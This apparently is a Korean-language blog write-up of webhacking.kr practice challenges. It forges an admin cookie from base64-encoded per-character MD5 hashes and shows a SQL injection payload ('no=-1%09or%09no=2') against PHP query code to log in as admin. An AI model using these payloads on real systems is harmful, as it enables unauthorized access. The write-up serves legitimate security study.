반응형
문제풀이
admin을 입력하고 submit을 누르면 오른쪽과 같이 화면이 출력된다.
guest를 입력하고 제출하면 아래와 같이 로그인이 되고, 쿠키가 설정된다.
YjJmNWZmNDc0MzY2NzFiNmU1MzNkOGRjMzYxNDg0NWQ3Yjc3NGVmZmU0YTM0OWM2ZGQ4MmFkNGY0ZjIxZDM0Y2UxNjcxNzk3YzUyZTE1Zjc2MzM4MGI0NWU4NDFlYzMyMDNjN2MwYWNlMzk1ZDgwMTgyZGIwN2FlMmMzMGYwMzRlMzU4ZWZhNDg5ZjU4MDYyZjEwZGQ3MzE2YjY1NjQ5ZQ%3D%3D
문자열의 맨 뒤에 %3D%3D(==)가 설정된 것을 보아 base64로 인코딩 되어 있는 것 같다.
base64 디코딩 하면 아래와 같은 문자열이 나온다.
아래 문자열을 32자 단위로 끊어 md5 디코딩 해보면 각각 'g', 'u', 'e', 's', 't'가 나온다.
b2f5ff47436671b6e533d8dc3614845d7b774effe4a349c6dd82ad4f4f21d34ce1671797c52e15f763380b45e841ec3203c7c0ace395d80182db07ae2c30f034e358efa489f58062f10dd7316b65649e
'admin' 문자열을 한 문자씩 md5 인코딩 후, 합쳐 base64 인코딩하면 된다.
마지막으로 url encoding을 해주어야 한다.
a : 0cc175b9c0f1b6a831c399e269772661
d : 8277e0910d750195b448797616e091ad
m : 6f8f57715090da2632453988d9a1501b
i : 865c0c0b4ab0e063e5caa3387c1a8741
n : 7b8b965ad4bca0e41ab51de7b31363a1
MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ%3D%3D
- tool
문제풀이
ad
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
위의 주석에서 볼 수 있듯이 admin의 no는 2이다.
select id from chall18 where id='guest' and no=-1 or no=2
id = 'guest' and no = -1 -> false
no = 2 -> true
no = 2인 id, admin이 출력된다.
/?no=-1%09or%09no=2
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-21 (0) | 2023.11.02 |
---|---|
[Webhacking.kr] old-20 (0) | 2023.11.02 |
[Webhacking.kr] old-18 (0) | 2023.11.02 |
[Webhacking.kr] old-13 (0) | 2023.10.18 |
[Webhacking.kr] old-12 (0) | 2023.10.17 |